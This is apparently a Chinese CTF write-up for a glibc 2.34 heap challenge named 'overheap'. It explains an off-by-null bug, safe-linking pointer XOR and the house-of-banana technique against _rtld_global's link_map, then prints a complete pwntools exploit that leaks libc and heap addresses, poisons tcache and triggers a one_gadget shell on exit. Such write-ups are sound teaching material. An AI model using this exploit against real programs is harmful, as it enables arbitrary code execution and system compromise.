保护显然
add大小不能超过0x1000
show
正常
edit
它的输入函数
有个off by null。
free
free函数也正常。
所以说完了就是2.34版本下的一道off by null。
高版本要注意什么
首先是2.32开始对tcache和fastbin的fd指针进行了异或加密,异或的内容其实就是堆地址,所以我们首先必须泄露heap地址。
tcache_entry->next中存放的chunk地址为与自身地址进行异或运算后所得到的值。
2.34开始取消了malloc_hook和free_hook。
我们只能把想法转向IO_FILE。
那么我们来细看
要解决的第一个问题居然是程序跑不了。
问题在哪呢?
他给了个他已经patch过的程序。
IDA也看得出来。
那就把东西都拉进来,然后给他权限。
就可以了。
所以因为在libc2.34的条件下,我们能利用的方式只有house of banana、house of pig。
这个题里面我们用到的是house of banana。
而且house of banana要注意小细节。
我们在使用house of banana的时候主要是劫持_rtld_global结构体中的link_map结构体,但是我们其实在劫持link_map结构体的时候最重要的是劫持它第一个内容,l_addr结构体,所以其实我们完全可以直接劫持l_addr结构体,也完全可以不用劫持link_map
这次用的就是这个手法。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./overheap"
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']
local = 1
if local:
r = process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r = remote("81.69.230.99",9003)
elf = ELF(pc)
libc = ELF("./libc-2.27.so")
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
def dbs(src):
gdb.attach(r, src)
def new(size):
sla('>> ', '1')
sla(':', str(size))
def show(idx):
sla('>> ', '2')
sla(':', str(idx))
def edit(idx,content):
sla('>> ', '3')
sla(':', str(idx))
sla(':', str(content))
def delete(idx):
sla('>> ', '4')
sla(':', str(idx))
def exit0():
sla('>> ', '5')
def xor_ptr(ptr1,ptr2):
result=((ptr1>>12)^(ptr2))
return result
new(0x418) #0
new(0x18) #1
new(0x418) #2
new(0x4f8) #3
new(0x18) #4
delete(0)
delete(2)
new(0x418) #0
new(0x418) #2
show(0)
libc_base = u64(r.recv(8))-0x218cc0
heap_base = u64(r.recv(8))-0x6d0
link_map=libc_base+0x260220
one_gadget=libc_base+0xeea9c
_rtld_global = libc_base + 0x25f040
lg("libc_base")
lg("heap_base")
lg("link_map")
lg("one_gadget")
lg("_rtld_global")
edit(2,p64(heap_base+0x6d0)+p64(heap_base+0x6d0)+'\x00'*0x400+p64(0x420))
delete(3)
new(0x88)
new(0x88)
delete(5)
delete(3)
edit(2,p64(xor_ptr(heap_base+0x6e0,link_map))[:-1]+'\n')
new(0x88)
new(0x88)
edit(5,p64(heap_base)+'\n')
new(0x1000)
new(0x1000)
new(0xd00)
new(0xd00)
edit(9,'a'*0x28+p64(one_gadget)+'\n')
exit0()
r.interactive()